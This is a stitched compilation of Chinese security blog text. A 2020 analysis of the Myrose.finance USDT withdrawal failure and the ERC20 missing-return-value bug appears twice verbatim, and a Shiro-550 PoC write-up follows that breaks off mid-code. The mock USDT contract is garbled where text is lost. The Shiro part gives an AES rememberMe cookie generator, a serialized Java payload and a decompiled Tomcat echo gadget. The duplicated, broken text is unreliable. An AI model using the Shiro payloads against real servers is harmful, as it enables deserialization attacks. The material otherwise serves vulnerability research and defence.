事件起因

2020年9月14日晚20:00点,未经安全审计的波场最新Defi项目Myrose.finance登陆Tokenpocket钱包,首批支持JST、USDT、SUN、DACC挖矿,并将逐步开通ZEUS、PEARL、CRT等的挖矿,整个挖矿周期将共计产出8400枚ROSE,预计将分发给至少3000名矿工,ROSE定位于波场DeFi领域的基础资产,不断为持有者创造经济价值。

项目上线之后引来了众多的用户(高达5700多人)参与挖矿,好景不长,在20:09左右有用户在Telegram"Rose中文社区群"中发文表示USDT无法提现:

Telegram

截止发文为止,无法提现的USDT数量高达6,997,184.377651 USDT(约700万USDT),随后官方下线USDT挖矿项目。

https://tronscan.io/#/contract/TM9797VRM66LyKXq2TbxP1sNmuQWBrsnYw/token-balances

total_value

分析复现

我们直接通过模拟合约在remix上测试。

USDT模拟测试合约代码如下,USDT_Ethereum和USDT_Tron分别模拟两个不同平台的USDT代币合约,分别代表transfer函数有显式return true和无显式return true

pragma solidity ^0.5.0;import "IERC20.sol";import "SafeMath.sol";contract USDT_Ethereum is IERC20 {
    using SafeMath for uint256;

    uint256 internal _totalSupply;

    mapping(address => uint256) internal _balances;
    mapping (address => mapping (address => uint)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function mint(address account, uint amount) external {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0));
        require(_value  uint256) internal _balances;
    mapping (address => mapping (address => uint)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function mint(address account, uint amount) external {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0));
        require(_value <= _balances[msg.sender]);

        _balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
        _balances[_to] = _balances[_to].add(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }
    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        //return true;//无显式return,默认返回false
    }
    function transferFrom(address from, address to, uint value) public returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));
        return true;
    }}

Myrose模拟测试合约代码如下:

pragma solidity ^0.5.0;import "IERC20.sol";import "Address.sol";import "SafeERC20.sol";import "SafeMath.sol";contract Test {
    using Address for address;
    using SafeERC20 for IERC20;
    using SafeMath for uint256;

    uint256 internal _totalSupply;
    mapping(address => uint256) internal _balances;

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    function withdraw(address yAddr,uint256 amount) public {
        _totalSupply = _totalSupply.sub(amount);
        _balances[msg.sender] = _balances[msg.sender].sub(amount);
        IERC20 y = IERC20(yAddr);
        y.safeTransfer(msg.sender, amount);
    }}

Remix部署USDT_Ethereum、USDT_Tron、Test三个合约。

调用USDT_Ethereum和USDT_Tron的mint函数给Test合约地址增添一些代币。

然后调用Test合约的withdraw函数提现测试。

success-and-false

可以看到USDT_Ethereum提现成功,USDT_Tron提现失败。

失败的回滚信息中,正是safeTransfer函数中对最后返回值的校验。

function safeTransfer(IERC20 token, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));}function callOptionalReturn(IERC20 token, bytes memory data) private {
    require(address(token).isContract(), "SafeERC20: call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = address(token).call(data);
    require(success, "SafeERC20: low-level call failed");

    if (returndata.length > 0) { // Return data is optional
        // solhint-disable-next-line max-line-length
        require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");//require校验返回的bool数值,false则回滚,提示操作失败
    }}

Missing Return Value Bug

上文的合约模拟实验揭示了以太坊与波场两个不同平台下USDT代币合约中transfer函数关于返回值处理差异性带来的安全风险,而关于"missing return value bug"这一个问题,早在2018年就有研究人员在Medium上公开讨论过,只不过是针对以太坊的,这里对以太坊中的"missing return value bug"问题做一个简单的介绍:

ERC20标准是以太坊平台上最常见的Token标准,ERC20被定义为一个接口,该接口指定在符合ERC20的智能合同中必须实现哪些功能和事件。目前,主要的接口如下所示:

interface ERC20Interface {

    function totalSupply() external constant returns (uint);
    function balanceOf(address tokenOwner) external constant returns (uint balance);
    function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
    function transfer(address to, uint tokens) external returns (bool success);
    function approve(address spender, uint tokens) external returns (bool success);
    function transferFrom(address from, address to, uint tokens) external returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);}

在ERC20的开发过程中,有研究人员对于ERC20合约中的transfer函数的正确返回值进行了讨论,主要分为两个阵营:一方认为,如果transfer函数允许在调用合约中处理Failed error,那么应该在被调用合约中返回false值,另一方声称,在无法确保安全的情况下,ERC20应该revert交易,关于这个问题在当时被认为都是符合ERC20标准的,并未达成一致。

事实证明,很大比例的ERC20 Token在传递函数的返回值方面表现出了另一种特殊的方式,有些智能合约的Transfer函数不返回任何东西,对应的函数接口大致如下:

interface BadERC20Basic {
  function balanceOf(address who) external constant returns (uint);
  function transfer(address to, uint value) external;
  function allowance(address owner, address spender) external constant returns (uint);
  function transferFrom(address from, address to, uint value) external;
  function approve(address spender, uint value) external;

  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);}

那么符合ERC20标准的接口的合约试图与不符合ERC20的合约进行交互,会发生什么呢?下面我们通过一个合约示例来做解释说明:

interface Token {
  function transfer() returns (bool);}contract GoodToken is Token {
  function transfer() returns (bool) { return true; }}contract BadToken {
  function transfer() {}}contract Wallet {
  function transfer(address token) {
    require(Token(token).transfer());
  }}

在solidity中,函数选择器是从它的函数名和输入参数的类型中派生出来的:

selector = bytes4(sha3(“transfer()”))

函数的返回值不是函数选择器的一部分,因此,没有返回值的函数transfer()和函数transfer()返回(bool)具有相同的函数选择器,但它们仍然不同,由于缺少返回值,编译器不会接受transfer()函数作为令牌接口的实现,所以Goodtoken是Token接口的实现,而Badtoken不是。

当我们通过合约去外部调用BadToken时,Bad token会处理该transfer调用,并且不返回布尔返回值,之后调用合约会在内存中查找返回值,但是由于被调用的合约中的Transfer函数没有写返回值,所以它会将在这个内存位置找到的任何内容作为外部调用的返回值。

完全巧合的是,因为调用方期望返回值的内存槽与存储调用的函数选择器的内存槽重叠,这被EVM解释为返回值“真”。因此,完全是运气使然,EVM的表现就像程序员们希望它的表现一样。

自从去年10月拜占庭硬叉以来,EVM有了一个新的操作码,叫做returndatasize,这个操作码存储(顾名思义)外部调用返回数据的大小,这是一个非常有用的操作码,因为它允许在函数调用中返回动态大小的数组。

这个操作码在solidity 0.4.22更新中被采用,现在,代码在外部调用后检查返回值的大小,并在返回数据比预期的短的情况下revert事务,这比从某个内存插槽中读取数据安全得多,但是这种新的行为对于我们的BadToken来说是一个巨大的问题。

如上所述,最大的风险是用solc ≥ 0.4.22编译的智能合约(预期为ERC0接口)将无法与我们的Badtokens交互,这可能意味着发送到这样的合约的Token将永远停留在那里,即使该合约具有转移ERC 20 Token的功能。

类似问题的合约:

{'addr': '0xae616e72d3d89e847f74e8ace41ca68bbf56af79', 'name': 'GOOD', 'decimals': 6}
{'addr': '0x93e682107d1e9defb0b5ee701c71707a4b2e46bc', 'name': 'MCAP', 'decimals': 8}
{'addr': '0xb97048628db6b661d4c2aa833e95dbe1a905b280', 'name': 'PAY', 'decimals': 18}
{'addr': '0x4470bb87d77b963a013db939be332f927f2b992e', 'name': 'ADX', 'decimals': 4}
{'addr': '0xd26114cd6ee289accf82350c8d8487fedb8a0c07', 'name': 'OMG', 'decimals': 18}
{'addr': '0xb8c77482e45f1f44de1745f52c74426c631bdd52', 'name': 'BNB', 'decimals': 18}
{'addr': '0xf433089366899d83a9f26a773d59ec7ecf30355e', 'name': 'MTL', 'decimals': 8}
{'addr': '0xc63e7b1dece63a77ed7e4aeef5efb3b05c81438d', 'name': 'FUCKOLD', 'decimals': 4}
{'addr': '0xab16e0d25c06cb376259cc18c1de4aca57605589', 'name': 'FUCK', 'decimals': 4}
{'addr': '0xe3818504c1b32bf1557b16c238b2e01fd3149c17', 'name': 'PLR', 'decimals': 18}
{'addr': '0xe2e6d4be086c6938b53b22144855eef674281639', 'name': 'LNK', 'decimals': 18}
{'addr': '0x2bdc0d42996017fce214b21607a515da41a9e0c5', 'name': 'SKIN', 'decimals': 6}
{'addr': '0xea1f346faf023f974eb5adaf088bbcdf02d761f4', 'name': 'TIX', 'decimals': 18}
{'addr': '0x177d39ac676ed1c67a2b268ad7f1e58826e5b0af', 'name': 'CDT', 'decimals': 18}

有两种方法可以修复这个错误:

第一种:受影响的Token合约开放团队需要修改他们的合约,这可以通过重新部署Token合约或者更新合约来完成(如果有合约更新逻辑设计)。

第二种:重新包装Bad Transfer函数,对于这种包装有不同的建议,例如:

library ERC20SafeTransfer {
    function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
        // note: both of these could be replaced with manual mstore's to reduce cost if desired
        bytes memory msg = abi.encodeWithSignature("transfer(address,uint256)", _to, _value);
        uint msgSize = msg.length;

        assembly {
            // pre-set scratch space to all bits set
            mstore(0x00, 0xff)

            // note: this requires tangerine whistle compatible EVM
            if iszero(call(gas(), _tokenAddress, 0, add(msg, 0x20), msgSize, 0x00, 0x20)) { revert(0, 0) }

            switch mload(0x00)
            case 0xff {
                // token is not fully ERC20 compatible, didn't return anything, assume it was successful
                success := 1
            }
            case 0x01 {
                success := 1
            }
            case 0x00 {
                success := 0
            }
            default {
                // unexpected value, what could this be?
                revert(0, 0)
            }
        }
    }}interface ERC20 {
    function transfer(address _to, uint256 _value) returns (bool success);}contract TestERC20SafeTransfer {
    using ERC20SafeTransfer for ERC20;
    function ping(address _token, address _to, uint _amount) {
        require(ERC20(_token).safeTransfer(_to, _amount));
    }}

另一方面,正在编写ERC 20合约的开发人员需要意识到这个错误,这样他们就可以预料到BadToken的意外行为并处理它们,这可以通过预期BadER 20接口并在调用后检查返回数据来确定我们调用的是Godtoken还是BadToken来实现:

pragma solidity ^0.4.24;/* * WARNING: Proof of concept. Do not use in production. No warranty.*/interface BadERC20 {

  function transfer(address to, uint value) external;}contract BadERC20Aware {

    function safeTransfer(address token, address to , uint value) public returns (bool result) {
        BadERC20(token).transfer(to,value);

        assembly {
            switch returndatasize()   
                case 0 {                      // This is our BadToken
                    result := not(0)          // result is true
                }
                case 32 {                     // This is our GoodToken
                    returndatacopy(0, 0, 32) 
                    result := mload(0)        // result == returndata of external call
                }
                default {                     // This is not an ERC20 token
                    revert(0, 0) 
                }
        }
    require(result);                          // revert() if result is false
    }}

事件总结

造成本次事件的主要原因还是在于波场USDT的transfer函数未使用TIP20规范的写法导致函数在执行时未返回对应的值,最终返回默认的false,从而导致在使用safeTransfer调用USDT的transfer时永远都只返回false,导致用户无法提现。

所以,在波场部署有关USDT的合约,需要注意额外针对USDT合约进行适配,上线前务必做好充足的审计与测试,尽可能减少意外事件的发生。

参考链接

[1] Missing-Return-Value-Bug
https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca

作者:昏鸦,[email protected]知道创宇404区块链安全研究团队

时间:2020年9月16日


事件起因

2020年9月14日晚20:00点,未经安全审计的波场最新Defi项目Myrose.finance登陆Tokenpocket钱包,首批支持JST、USDT、SUN、DACC挖矿,并将逐步开通ZEUS、PEARL、CRT等的挖矿,整个挖矿周期将共计产出8400枚ROSE,预计将分发给至少3000名矿工,ROSE定位于波场DeFi领域的基础资产,不断为持有者创造经济价值。

项目上线之后引来了众多的用户(高达5700多人)参与挖矿,好景不长,在20:09左右有用户在Telegram"Rose中文社区群"中发文表示USDT无法提现:

Telegram

截止发文为止,无法提现的USDT数量高达6,997,184.377651 USDT(约700万USDT),随后官方下线USDT挖矿项目。

https://tronscan.io/#/contract/TM9797VRM66LyKXq2TbxP1sNmuQWBrsnYw/token-balances

total_value

分析复现

我们直接通过模拟合约在remix上测试。

USDT模拟测试合约代码如下,USDT_Ethereum和USDT_Tron分别模拟两个不同平台的USDT代币合约,分别代表transfer函数有显式return true和无显式return true

pragma solidity ^0.5.0;import "IERC20.sol";import "SafeMath.sol";contract USDT_Ethereum is IERC20 {
    using SafeMath for uint256;

    uint256 internal _totalSupply;

    mapping(address => uint256) internal _balances;
    mapping (address => mapping (address => uint)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function mint(address account, uint amount) external {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0));
        require(_value  uint256) internal _balances;
    mapping (address => mapping (address => uint)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function mint(address account, uint amount) external {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0));
        require(_value <= _balances[msg.sender]);

        _balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
        _balances[_to] = _balances[_to].add(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }
    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        //return true;//无显式return,默认返回false
    }
    function transferFrom(address from, address to, uint value) public returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));
        return true;
    }}

Myrose模拟测试合约代码如下:

pragma solidity ^0.5.0;import "IERC20.sol";import "Address.sol";import "SafeERC20.sol";import "SafeMath.sol";contract Test {
    using Address for address;
    using SafeERC20 for IERC20;
    using SafeMath for uint256;

    uint256 internal _totalSupply;
    mapping(address => uint256) internal _balances;

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    function withdraw(address yAddr,uint256 amount) public {
        _totalSupply = _totalSupply.sub(amount);
        _balances[msg.sender] = _balances[msg.sender].sub(amount);
        IERC20 y = IERC20(yAddr);
        y.safeTransfer(msg.sender, amount);
    }}

Remix部署USDT_Ethereum、USDT_Tron、Test三个合约。

调用USDT_Ethereum和USDT_Tron的mint函数给Test合约地址增添一些代币。

然后调用Test合约的withdraw函数提现测试。

success-and-false

可以看到USDT_Ethereum提现成功,USDT_Tron提现失败。

失败的回滚信息中,正是safeTransfer函数中对最后返回值的校验。

function safeTransfer(IERC20 token, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));}function callOptionalReturn(IERC20 token, bytes memory data) private {
    require(address(token).isContract(), "SafeERC20: call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = address(token).call(data);
    require(success, "SafeERC20: low-level call failed");

    if (returndata.length > 0) { // Return data is optional
        // solhint-disable-next-line max-line-length
        require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");//require校验返回的bool数值,false则回滚,提示操作失败
    }}

Missing Return Value Bug

上文的合约模拟实验揭示了以太坊与波场两个不同平台下USDT代币合约中transfer函数关于返回值处理差异性带来的安全风险,而关于"missing return value bug"这一个问题,早在2018年就有研究人员在Medium上公开讨论过,只不过是针对以太坊的,这里对以太坊中的"missing return value bug"问题做一个简单的介绍:

ERC20标准是以太坊平台上最常见的Token标准,ERC20被定义为一个接口,该接口指定在符合ERC20的智能合同中必须实现哪些功能和事件。目前,主要的接口如下所示:

interface ERC20Interface {

    function totalSupply() external constant returns (uint);
    function balanceOf(address tokenOwner) external constant returns (uint balance);
    function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
    function transfer(address to, uint tokens) external returns (bool success);
    function approve(address spender, uint tokens) external returns (bool success);
    function transferFrom(address from, address to, uint tokens) external returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);}

在ERC20的开发过程中,有研究人员对于ERC20合约中的transfer函数的正确返回值进行了讨论,主要分为两个阵营:一方认为,如果transfer函数允许在调用合约中处理Failed error,那么应该在被调用合约中返回false值,另一方声称,在无法确保安全的情况下,ERC20应该revert交易,关于这个问题在当时被认为都是符合ERC20标准的,并未达成一致。

事实证明,很大比例的ERC20 Token在传递函数的返回值方面表现出了另一种特殊的方式,有些智能合约的Transfer函数不返回任何东西,对应的函数接口大致如下:

interface BadERC20Basic {
  function balanceOf(address who) external constant returns (uint);
  function transfer(address to, uint value) external;
  function allowance(address owner, address spender) external constant returns (uint);
  function transferFrom(address from, address to, uint value) external;
  function approve(address spender, uint value) external;

  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);}

那么符合ERC20标准的接口的合约试图与不符合ERC20的合约进行交互,会发生什么呢?下面我们通过一个合约示例来做解释说明:

interface Token {
  function transfer() returns (bool);}contract GoodToken is Token {
  function transfer() returns (bool) { return true; }}contract BadToken {
  function transfer() {}}contract Wallet {
  function transfer(address token) {
    require(Token(token).transfer());
  }}

在solidity中,函数选择器是从它的函数名和输入参数的类型中派生出来的:

selector = bytes4(sha3(“transfer()”))

函数的返回值不是函数选择器的一部分,因此,没有返回值的函数transfer()和函数transfer()返回(bool)具有相同的函数选择器,但它们仍然不同,由于缺少返回值,编译器不会接受transfer()函数作为令牌接口的实现,所以Goodtoken是Token接口的实现,而Badtoken不是。

当我们通过合约去外部调用BadToken时,Bad token会处理该transfer调用,并且不返回布尔返回值,之后调用合约会在内存中查找返回值,但是由于被调用的合约中的Transfer函数没有写返回值,所以它会将在这个内存位置找到的任何内容作为外部调用的返回值。

完全巧合的是,因为调用方期望返回值的内存槽与存储调用的函数选择器的内存槽重叠,这被EVM解释为返回值“真”。因此,完全是运气使然,EVM的表现就像程序员们希望它的表现一样。

自从去年10月拜占庭硬叉以来,EVM有了一个新的操作码,叫做returndatasize,这个操作码存储(顾名思义)外部调用返回数据的大小,这是一个非常有用的操作码,因为它允许在函数调用中返回动态大小的数组。

这个操作码在solidity 0.4.22更新中被采用,现在,代码在外部调用后检查返回值的大小,并在返回数据比预期的短的情况下revert事务,这比从某个内存插槽中读取数据安全得多,但是这种新的行为对于我们的BadToken来说是一个巨大的问题。

如上所述,最大的风险是用solc ≥ 0.4.22编译的智能合约(预期为ERC0接口)将无法与我们的Badtokens交互,这可能意味着发送到这样的合约的Token将永远停留在那里,即使该合约具有转移ERC 20 Token的功能。

类似问题的合约:

{'addr': '0xae616e72d3d89e847f74e8ace41ca68bbf56af79', 'name': 'GOOD', 'decimals': 6}
{'addr': '0x93e682107d1e9defb0b5ee701c71707a4b2e46bc', 'name': 'MCAP', 'decimals': 8}
{'addr': '0xb97048628db6b661d4c2aa833e95dbe1a905b280', 'name': 'PAY', 'decimals': 18}
{'addr': '0x4470bb87d77b963a013db939be332f927f2b992e', 'name': 'ADX', 'decimals': 4}
{'addr': '0xd26114cd6ee289accf82350c8d8487fedb8a0c07', 'name': 'OMG', 'decimals': 18}
{'addr': '0xb8c77482e45f1f44de1745f52c74426c631bdd52', 'name': 'BNB', 'decimals': 18}
{'addr': '0xf433089366899d83a9f26a773d59ec7ecf30355e', 'name': 'MTL', 'decimals': 8}
{'addr': '0xc63e7b1dece63a77ed7e4aeef5efb3b05c81438d', 'name': 'FUCKOLD', 'decimals': 4}
{'addr': '0xab16e0d25c06cb376259cc18c1de4aca57605589', 'name': 'FUCK', 'decimals': 4}
{'addr': '0xe3818504c1b32bf1557b16c238b2e01fd3149c17', 'name': 'PLR', 'decimals': 18}
{'addr': '0xe2e6d4be086c6938b53b22144855eef674281639', 'name': 'LNK', 'decimals': 18}
{'addr': '0x2bdc0d42996017fce214b21607a515da41a9e0c5', 'name': 'SKIN', 'decimals': 6}
{'addr': '0xea1f346faf023f974eb5adaf088bbcdf02d761f4', 'name': 'TIX', 'decimals': 18}
{'addr': '0x177d39ac676ed1c67a2b268ad7f1e58826e5b0af', 'name': 'CDT', 'decimals': 18}

有两种方法可以修复这个错误:

第一种:受影响的Token合约开放团队需要修改他们的合约,这可以通过重新部署Token合约或者更新合约来完成(如果有合约更新逻辑设计)。

第二种:重新包装Bad Transfer函数,对于这种包装有不同的建议,例如:

library ERC20SafeTransfer {
    function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
        // note: both of these could be replaced with manual mstore's to reduce cost if desired
        bytes memory msg = abi.encodeWithSignature("transfer(address,uint256)", _to, _value);
        uint msgSize = msg.length;

        assembly {
            // pre-set scratch space to all bits set
            mstore(0x00, 0xff)

            // note: this requires tangerine whistle compatible EVM
            if iszero(call(gas(), _tokenAddress, 0, add(msg, 0x20), msgSize, 0x00, 0x20)) { revert(0, 0) }

            switch mload(0x00)
            case 0xff {
                // token is not fully ERC20 compatible, didn't return anything, assume it was successful
                success := 1
            }
            case 0x01 {
                success := 1
            }
            case 0x00 {
                success := 0
            }
            default {
                // unexpected value, what could this be?
                revert(0, 0)
            }
        }
    }}interface ERC20 {
    function transfer(address _to, uint256 _value) returns (bool success);}contract TestERC20SafeTransfer {
    using ERC20SafeTransfer for ERC20;
    function ping(address _token, address _to, uint _amount) {
        require(ERC20(_token).safeTransfer(_to, _amount));
    }}

另一方面,正在编写ERC 20合约的开发人员需要意识到这个错误,这样他们就可以预料到BadToken的意外行为并处理它们,这可以通过预期BadER 20接口并在调用后检查返回数据来确定我们调用的是Godtoken还是BadToken来实现:

pragma solidity ^0.4.24;/* * WARNING: Proof of concept. Do not use in production. No warranty.*/interface BadERC20 {

  function transfer(address to, uint value) external;}contract BadERC20Aware {

    function safeTransfer(address token, address to , uint value) public returns (bool result) {
        BadERC20(token).transfer(to,value);

        assembly {
            switch returndatasize()   
                case 0 {                      // This is our BadToken
                    result := not(0)          // result is true
                }
                case 32 {                     // This is our GoodToken
                    returndatacopy(0, 0, 32) 
                    result := mload(0)        // result == returndata of external call
                }
                default {                     // This is not an ERC20 token
                    revert(0, 0) 
                }
        }
    require(result);                          // revert() if result is false
    }}

事件总结

造成本次事件的主要原因还是在于波场USDT的transfer函数未使用TIP20规范的写法导致函数在执行时未返回对应的值,最终返回默认的false,从而导致在使用safeTransfer调用USDT的transfer时永远都只返回false,导致用户无法提现。

所以,在波场部署有关USDT的合约,需要注意额外针对USDT合约进行适配,上线前务必做好充足的审计与测试,尽可能减少意外事件的发生。

参考链接

[1] Missing-Return-Value-Bug
https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca

作者:昏鸦,[email protected]知道创宇404区块链安全研究团队

时间:2020年9月16日


深刻认识到不会java搞这类poc的困难,只能做一个无情的搬砖机器。

目标是编写Pocsuite3 python版本的Shiro-550 PoC,最好不要依赖其他东西。

本文没有新奇的观点,只是记录日常 =_=

Shiro识别

看到@pmiaowu开源的burp shiro检测插件 https://github.com/pmiaowu/BurpShiroPassiveScan

image-20200803161651145

看了下源码,主要有三种判断方式。

1.原始cookie key带了rememberMe

2.原始请求返回cookie中value带有deleteMe

3.以上条件都不满足时,发送cookierememberMe=1

检测Shiro key

l1nk3r师傅 的 基于原生shiro框架 检测方法

· https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

简述下如何不依赖java环境来检测poc。

import org.apache.shiro.subject.SimplePrincipalCollection;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class ss1 {
    public static void main(String args[]) throws IOException {
        System.out.println("Hellow ");
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();

    }}

可得到生成的反序列二进制payload(最好使用jdk6来编译,能够兼容之后的版本)

b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x'

将这段payload内置到poc里即可。

通过python函数生成最终检测payload。

def generator2(key, bb: bytes):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(bb)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

其中key是shiro需要检测的key,bb是生成的payload,当key正确时,不会返回deleteMe。

image-20200803162703060

image-20200803162647250

回显payload

一开始看的是宽字节安全的burp插件:https://github.com/potats0/shiroPoc

但在本地环境下测试没有成功,之后猜测可能是gadgets或java版本的问题。

看他的exploitType代码。

image-20200810141000382

类似于java的汇编代码?确认过眼神是看不懂的。

然后在GitHub上找到一个开源的exp https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py

它将gadget base64之后硬编码到了python中,正好符合我的需求。

image-20200810141813620

经过测试用CommonsCollections1就可以在我本地环境复现了。

到这里就可以写poc了,但我还想看看这些硬编码的payload是怎么来的。

更细节

那些硬编码的文件是反序列化的文件,我想找到Tomcat的通用回显的源码。@longofo告诉我可以通过CA FE BA BE(cafebaby)来确定class的特征,将它和后面的数据保存为class文件。

image-20200807175522519

然后拖到idea反编译后就能看到源码了

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;public class FooDDl2ZFf8Y extends AbstractTranslet {
    private static void writeBody(Object var0, byte[] var1) throws Exception {
        Object var2;
        Class var3;
        try {
            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            var2 = var3.newInstance();
            var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length));
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        } catch (NoSuchMethodException var5) {
            var3 = Class.forName("java.nio.ByteBuffer");
            var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        }

    }

    private static Object getFV(Object var0, String var1) throws Exception {
        Field var2 = null;
